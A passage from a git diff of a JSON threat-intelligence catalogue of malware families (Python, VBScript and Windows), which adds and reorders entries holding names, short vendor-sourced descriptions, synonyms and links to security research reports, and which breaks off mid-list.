"https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", + "https://github.com/n1nj4sec/pupy", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity" ], "synonyms": [], "type": [] @@ -10663,6 +11193,18 @@ "uuid": "afcc9bfc-1227-4bb0-a88a-5accdbfd58fa", "value": "pupy (Python)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.pyaesloader" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b9ba4f66-78dc-491f-8fd4-0143816ce80e", + "value": "PyAesLoader" + }, { "description": "", "meta": { @@ -10681,8 +11223,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.pyback", - "https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001", - "https://github.com/7h3w4lk3r/pyback" + "https://github.com/7h3w4lk3r/pyback", + "https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001" ], "synonyms": [], "type": [] @@ -10690,13 +11232,26 @@ "uuid": "6d96cd1e-98f4-4784-9982-397c5df19bd9", "value": "pyback" }, + { + "description": "According to Securonix, this malware exhibits remote access trojan (RAT) behavior, allowing for control of and persistence on the affected host. As with other RATs, PY#RATION possesses a whole host of features and capabilities, including data exfiltration and keylogging. What makes this malware particularly unique is its utilization of websockets for both command and control (C2) communication and exfiltration as well as how it evades detection from antivirus and network security measures.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.pyration", + "https://www.securonix.com/blog/security-advisory-python-based-pyration-attack-campaign/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1dc471d3-6303-48a1-a17a-b4f29e5ba6a9", + "value": "PY#RATION" + }, { "description": "PyVil RAT", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.pyvil", - "https://www.cybereason.com/blog/no-rest-for-the-wicked-evilnum-unleashes-pyvil-rat", - "https://twitter.com/ESETresearch/status/1360178593968623617" + "https://twitter.com/ESETresearch/status/1360178593968623617", + "https://www.cybereason.com/blog/no-rest-for-the-wicked-evilnum-unleashes-pyvil-rat" ], "synonyms": [], "type": [] @@ -10739,9 +11294,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.serpent", - "https://blogs.vmware.com/security/2022/04/serpent-the-backdoor-that-hides-in-plain-sight.html", "https://www.bleepingcomputer.com/news/security/serpent-malware-campaign-abuses-chocolatey-windows-package-manager/", - "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain" + "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain", + "https://blogs.vmware.com/security/2022/04/serpent-the-backdoor-that-hides-in-plain-sight.html" ], "synonyms": [], "type": [] @@ -10826,6 +11381,20 @@ "uuid": "0bd5aed2-9c74-41a5-9fcf-9379f2cb0e2c", "value": "Venomous" }, + { + "description": "Venus Stealer is a python based Infostealer observed early 2023.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.venus_stealer", + "https://geekypandatales.wordpress.com/2023/02/19/the-infostealer-pie-python-malware-analysis/", + "https://twitter.com/0xToxin/status/1625435116771180546" + ], + "synonyms": [], + "type": [] + }, + "uuid": "20f72d3c-87b7-4349-ad1b-59d7909c1df4", + "value": "Venus Stealer" + }, { "description": "", "meta": { @@ -10857,15 +11426,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.cageychameleon", + "https://vb2020.vblocalhost.com/conference/presentations/unveiling-the-cryptomimic/", + "https://www.clearskysec.com/wp-content/uploads/2021/05/CryptoCore-Lazarus-Clearsky.pdf", + "https://cyberstruggle.org/delta/LeeryTurtleThreatReport_05_20.pdf", + "https://www.clearskysec.com/cryptocore-group/", + "https://www.proofpoint.com/us/blog/threat-insight/ta444-apt-startup-aimed-at-your-funds", "https://www.clearskysec.com/wp-content/uploads/2020/06/CryptoCore_Group.pdf", "https://atlas-cybersecurity.com/cyber-threats/cryptocore-cryptocurrency-exchanges-under-attack/", - "https://vb2020.vblocalhost.com/conference/presentations/unveiling-the-cryptomimic/", - "https://www.proofpoint.com/us/daily-ruleset-update-summary-20190314", - "https://www.clearskysec.com/wp-content/uploads/2021/05/CryptoCore-Lazarus-Clearsky.pdf", - "https://www.clearskysec.com/cryptocore-group/", - "https://cyberstruggle.org/delta/LeeryTurtleThreatReport_05_20.pdf" + "https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwjCk7uOzMP-AhXOYMAKHYtLCKkQFnoECBIQAQ&url=https%3A%2F%2Fi.blackhat.com%2FUSA-22%2FThursday%2FUS-22-Wikoff-Talent-Need-Not-Apply.pdf&usg=AOvVaw0deqd7ozZyRTfSBOBmlbiG", + "https://www.proofpoint.com/us/daily-ruleset-update-summary-20190314" + ], + "synonyms": [ + "Cabbage RAT" ], - "synonyms": [], "type": [] }, "uuid": "ea71b7c1-79eb-4e9c-a670-ea75d80132f4", @@ -10918,8 +11491,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.grinju", - "https://medium.com/@vishal_thakur/grinju-malware-anti-analysis-on-steroids-part-1-535e72e650b8", - "https://medium.com/@vishal_thakur/grinju-downloader-anti-analysis-on-steroids-part-2-8d76f427c0ce" + "https://medium.com/@vishal_thakur/grinju-downloader-anti-analysis-on-steroids-part-2-8d76f427c0ce", + "https://medium.com/@vishal_thakur/grinju-malware-anti-analysis-on-steroids-part-1-535e72e650b8" ], "synonyms": [], "type": [] @@ -10932,9 +11505,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.halfbaked", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://attack.mitre.org/software/S0151/", "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", - "https://attack.mitre.org/software/S0151/" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf" ], "synonyms": [], "type": [] @@ -10959,32 +11532,36 @@ "value": "Iloveyou" }, { - "description": "Malware is delivered by emails, containing links to ZIP files or ZIP attachments. The ZIP contains a VBscript that, when executed, downloads additional files from AWS S3, Google Drive or other cloud hosting services. The downloaded files are encrypted .exe and .dll files.\r\nThe malware targets banking clients in Portugal.", + "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lampion", - "https://securityaffairs.co/wordpress/128975/malware/hidden-c2-lampion-trojan-release-212.html", - "https://research.checkpoint.com/wp-content/uploads/2019/12/Threat_Intelligence_News_2019-12-30.pdf", - "https://seguranca-informatica.pt/trojan-lampion-is-back-after-3-months/", - "https://seguranca-informatica.pt/the-hidden-c2-lampion-trojan-release-212-is-on-the-rise-and-using-a-c2-server-for-two-years", - "https://unit42.paloaltonetworks.com/single-bit-trap-flag-intel-cpu/", - "https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/", - "https://seguranca-informatica.pt/new-release-of-lampion-trojan-spreads-in-portugal-with-some-improvements-on-the-vbs-downloader", - "https://cofense.com/blog/lampion-trojan-utilizes-new-delivery-through-cloud-based-sharing", - "https://seguranca-informatica.pt/lampion-trojan-disseminated-in-portugal-using-covid-19-template/" + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.janicab", + "https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b3cb5859-2049-43d3-aed2-73db45ed0112", + "value": "Janicab (VBScript)" + }, + { + "description": "Malware is delivered by emails, containing links to ZIP files or ZIP attachments. The ZIP contains a VBscript that, when executed, downloads additional files from AWS S3, Google Drive or other cloud hosting services. The downloaded files are encrypted .exe and .dll files.\r\nThe malware targets banking clients in Portugal.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lampion", + "https://research.checkpoint.com/wp-content/uploads/2019/12/Threat_Intelligence_News_2019-12-30.pdf", + "https://seguranca-informatica.pt/the-hidden-c2-lampion-trojan-release-212-is-on-the-rise-and-using-a-c2-server-for-two-years", + "https://seguranca-informatica.pt/new-release-of-lampion-trojan-spreads-in-portugal-with-some-improvements-on-the-vbs-downloader", + "https://seguranca-informatica.pt/lampion-trojan-disseminated-in-portugal-using-covid-19-template/", + "https://seguranca-informatica.pt/trojan-lampion-is-back-after-3-months/", + "https://unit42.paloaltonetworks.com/single-bit-trap-flag-intel-cpu/", + "https://cofense.com/blog/lampion-trojan-utilizes-new-delivery-through-cloud-based-sharing", + "https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/", + "https://securityaffairs.co/wordpress/128975/malware/hidden-c2-lampion-trojan-release-212.html" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "dd299e22-bf82-4317-8c81-c6b1f7514571", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "97f89048-2a57-48d5-9272-0d1061a14eca", "value": "lampion" }, @@ -11011,15 +11588,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "2bea2cc9-c1cc-453d-a483-541b895867d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e9afcd80-c1c6-4194-af32-133fe31e835f", "value": "MOUSEISLAND" }, @@ -11054,14 +11622,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.starwhale", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", "https://www.techrepublic.com/article/muddywater-targets-middle-eastern-and-asian-countries-in-phishing-attacks/", "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://thehackernews.com/2022/03/iranian-hackers-targeting-turkey-and.html", + "https://blog.talosintelligence.com/iranian-supergroup-muddywater/", + "https://www.govinfosecurity.com/iranian-apt-new-methods-to-target-turkey-arabian-peninsula-a-18706", "https://rootdaemon.com/2022/03/10/iranian-hackers-targeting-turkey-and-arabian-peninsula-in-new-malware-campaign/", - "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html", - "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", - "https://www.govinfosecurity.com/iranian-apt-new-methods-to-target-turkey-arabian-peninsula-a-18706" + "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html" ], "synonyms": [ "Canopy", @@ -11104,6 +11673,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_003", "https://aaqeel01.wordpress.com/2021/01/18/docx-files-template-injection/", + "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/", "https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt" ], "synonyms": [], @@ -11125,6 +11695,60 @@ "uuid": "84c6b483-ba17-4a22-809d-dc37d9ce1822", "value": "Unidentified VBS 004 (RAT)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_005", + "https://unit42.paloaltonetworks.com/trident-ursa/", + "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8eb8ebbc-c5b1-47d8-816a-4e21dee145c3", + "value": "Unidentified VBS 005 (Telegram Loader)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_006", + "https://blogs.blackberry.com/en/2023/01/gamaredon-abuses-telegram-to-target-ukrainian-organizations", + "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a6bd28db-c1a3-44b1-8bc3-7882e2896d67", + "value": "Unidentified VBS 006 (Telegram Loader)" + }, + { + "description": "According to Mandiant, VBREVSHELL is a VBA macro that spawns a reverse shell relying exclusively on Windows API calls.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.vbrevshell", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "991179a0-efd5-450a-a1ce-78d1109bb50b", + "value": "VBREVSHELL" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.wasabiseed", + "https://www.proofpoint.com/us/blog/threat-insight/screentime-sometimes-it-feels-like-somebodys-watching-me" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0c6568da-7017-4d9f-b077-0c486b3f9057", + "value": "WasabiSeed" + }, { "description": "", "meta": { @@ -11151,31 +11775,68 @@ "uuid": "24e598cf-4c55-468a-ac1d-cc4f89104943", "value": "000Stealer" }, + { + "description": "According to CrowdStrike, this backdoor was discovered being embedded in a legitimate, signed version of 3CXDesktopApp, and thus constitutes a supply chain attack.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.3cx_backdoor", + "https://www.fortinet.com/blog/threat-research/3cx-desktop-app-compromised", + "https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack", + "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/", + "https://blogs.vmware.com/security/2023/03/investigating-3cx-desktop-application-attacks-what-you-need-to-know.html", + "https://www.splunk.com/en_us/blog/security/splunk-insights-investigating-the-3cxdesktopapp-supply-chain-compromise.html", + "https://www.reversinglabs.com/blog/red-flags-fly-over-supply-chain-compromised-3cx-update", + "https://github.com/dodo-sec/Malware-Analysis/blob/main/SmoothOperator/SmoothOperator.md", + "https://www.cadosecurity.com/forensic-triage-of-a-windows-system-running-the-backdoored-3cx-desktop-app/", + "https://www.group-ib.com/blog/3cx-supply-chain-attack/?utm_source=twitter&utm_campaign=3cx-blog&utm_medium=social", + "https://www.trendmicro.com/en_us/research/23/c/information-on-attacks-involving-3cx-desktop-app.html", + "https://www.youtube.com/watch?v=fTX-vgSEfjk", + "https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/", + "https://www.zscaler.com/security-research/3CX-supply-chain-attack-analysis-march-2023", + "https://blog.cyble.com/2023/03/31/a-comprehensive-analysis-of-the-3cx-attack", + "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/", + "https://www.rapid7.com/blog/post/2023/03/30/backdoored-3cxdesktopapp-installer-used-in-active-threat-campaign/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/3cx-supply-chain-attack", + "https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack", + "https://research.openanalysis.net/3cx/northkorea/apt/triage/2023/03/30/3cx-malware.html#Functionality", + "https://blogs.blackberry.com/en/2023/03/initial-implants-and-network-analysis-suggest-the-3cx-supply-chain-operation-goes-back-to-fall-2022", + "https://www.huntress.com/blog/3cx-voip-software-compromise-supply-chain-threats", + "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/" + ], + "synonyms": [ + "SUDDENICON" + ], + "type": [] + }, + "uuid": "b6a00e25-9d8d-4ebc-b9fc-7fd41797303b", + "value": "3CX Backdoor (Windows)" + }, { "description": "Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim’s sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger", - "https://www.fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", "https://blogs.blackberry.com/en/2022/06/threat-thursday-unique-delivery-method-for-snake-keylogger", + "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--102", "https://x-junior.github.io/malware%20analysis/2022/06/24/Snakekeylogger.html", + "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter", + "https://www.fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/", - "https://habr.com/ru/company/group-ib/blog/477198/", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf", + "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--89", + "https://www.cybereason.com/blog/threat-analysis-report-snake-infostealer-malware", + "https://threatresearch.ext.hp.com/pdf-malware-is-not-yet-dead/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/", + "https://twitter.com/James_inthe_box/status/1401921257109561353", + "https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/", + "https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/", "https://cert.gov.ua/article/955924", "https://blog.netlab.360.com/purecrypter", - "https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--102", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/", - "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter", - "https://twitter.com/James_inthe_box/status/1401921257109561353", - "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--89", - "https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/", - "https://threatresearch.ext.hp.com/pdf-malware-is-not-yet-dead/", - "https://www.youtube.com/watch?v=vzyJp2w8bPE", - "https://www.cybereason.com/blog/threat-analysis-report-snake-infostealer-malware" + "https://habr.com/ru/company/group-ib/blog/477198/", + "https://www.youtube.com/watch?v=vzyJp2w8bPE" ], "synonyms": [ "404KeyLogger", @@ -11191,6 +11852,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.4h_rat", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", "https://github.com/securitykitten/malware_references/blob/master/crowdstrike-intelligence-report-putter-panda.original.pdf", "https://attack.mitre.org/groups/G0024" ], @@ -11205,8 +11867,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n", - "https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n", - "https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/" + "https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/", + "https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n" ], "synonyms": [], "type": [] @@ -11219,27 +11881,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper", - "https://blog.malwarelab.pl/posts/on_the_royal_road/", + "https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/", "https://community.riskiq.com/article/5fe2da7f", - "https://nao-sec.org/2021/01/royal-road-redive.html", + "https://blog.malwarelab.pl/posts/on_the_royal_road/", + "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "https://tradahacking.vn/another-malicious-document-with-cve-2017-11882-839e9c0bbf2f", + "https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/", "https://securelist.com/cycldek-bridging-the-air-gap/97157/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0922.pdf", + "https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba", + "https://www.accenture.com/_acnmedia/pdf-96/accenture-security-mudcarp.pdf", + "https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/", + "https://tradahacking.vn/l%C3%A0-1937cn-hay-oceanlotus-hay-lazarus-6ca15fe1b241", "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-attribution-object-using-rtf-object-dimensions-track-apt-phishing-weaponizers/", "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", - "https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746", - "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", - "https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/", - "https://tradahacking.vn/another-malicious-document-with-cve-2017-11882-839e9c0bbf2f", - "https://www.accenture.com/_acnmedia/pdf-96/accenture-security-mudcarp.pdf", - "https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a?", - "https://community.riskiq.com/article/56fa1b2f", - "https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/", - "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://malgamy.github.io/malware-analysis/The-Approach-of-TA413-for-Tibetan-Targets/#third-stage", + "https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746", + "https://nao-sec.org/2021/01/royal-road-redive.html", + "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a?", "https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf", - "https://tradahacking.vn/l%C3%A0-1937cn-hay-oceanlotus-hay-lazarus-6ca15fe1b241", - "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology" + "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", + "https://community.riskiq.com/article/56fa1b2f" ], "synonyms": [ "8t_dropper", @@ -11255,24 +11921,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.9002", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf", + "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html", "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone", - "https://www.secureworks.com/research/threat-profiles/bronze-express", - "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures", + "https://blog.trendmicro.com/trendlabs-security-intelligence/supply-chain-attack-operation-red-signature-targets-south-korean-organizations/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", - "https://www.fireeye.com/blog/threat-research/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html", + "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/elderwood-project-12-en.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://www.infopoint-security.de/medien/the-elderwood-project.pdf", - "https://attack.mitre.org/groups/G0001/", - "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", - "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/", + "https://www.secureworks.com/research/threat-profiles/bronze-express", "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html", - "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/supply-chain-attack-operation-red-signature-targets-south-korean-organizations/", + "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/", + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", + "https://attack.mitre.org/groups/G0001/", + "https://www.fireeye.com/blog/threat-research/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html", + "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures", "http://researchcenter.paloaltonetworks.com/2016/07/unit-42-attack-delivers-9002-trojan-through-google-drive/", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf", - "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/elderwood-project-12-en.pdf" + "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn" ], "synonyms": [ "HOMEUNIX", @@ -11298,16 +11964,16 @@ "value": "Abaddon" }, { - "description": "", + "description": "MajorGeeks describes this malware as trying to locate credit card data by reading the memory of all processes except itself by first blacklisting its own PID using the GetCurrentProcessId API. Once that data is discovered, it sends this data back to a command and control server using a custom binary protocol instead of HTTP.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos", - "https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software", - "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", "https://threatpost.com/new-pos-malware-pinkkite-takes-flight/130428/", "https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", - "https://www.carbonblack.com/2020/05/21/tau-technical-report-new-attack-combines-tinypos-with-living-off-the-land-techniques-for-scraping-credit-card-data/" + "https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software", + "https://www.carbonblack.com/2020/05/21/tau-technical-report-new-attack-combines-tinypos-with-living-off-the-land-techniques-for-scraping-credit-card-data/", + "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/" ], "synonyms": [ "PinkKite", @@ -11347,8 +12013,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader", - "https://twitter.com/cocaman/status/1260069549069733888", - "https://github.com/Tlgyt/AbSent-Loader" + "https://github.com/Tlgyt/AbSent-Loader", + "https://twitter.com/cocaman/status/1260069549069733888" ], "synonyms": [], "type": [] @@ -11374,10 +12040,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.acehash", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", 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"https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-1/", - "https://community.riskiq.com/article/56e28880", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://blogs.juniper.net/en-us/security/aggah-malware-campaign-expands-to-zendesk-and-github-to-host-its-malware", + "https://youtu.be/hxaeWyK8gMI", "http://blog.nsfocus.net/sweed-611/", - "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", - "https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/", - "https://www.youtube.com/watch?v=Q9_1xNbVQPY", - "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://unit42.paloaltonetworks.com/malicious-compiled-html-help-file-agent-tesla/", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", - "https://threatresearch.ext.hp.com/aggah-campaigns-latest-tactics-victimology-powerpoint-dropper-and-cryptocurrency-stealer/", - "https://www.proofpoint.com/us/blog/threat-insight/dtpacker-net-packer-curious-password-1", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", - "https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla", - "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", - "https://www.fortinet.com/blog/threat-research/phishing-malware-hijacks-bitcoin-addresses-delivers-new-agent-tesla-variant", - "https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/", - "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", - 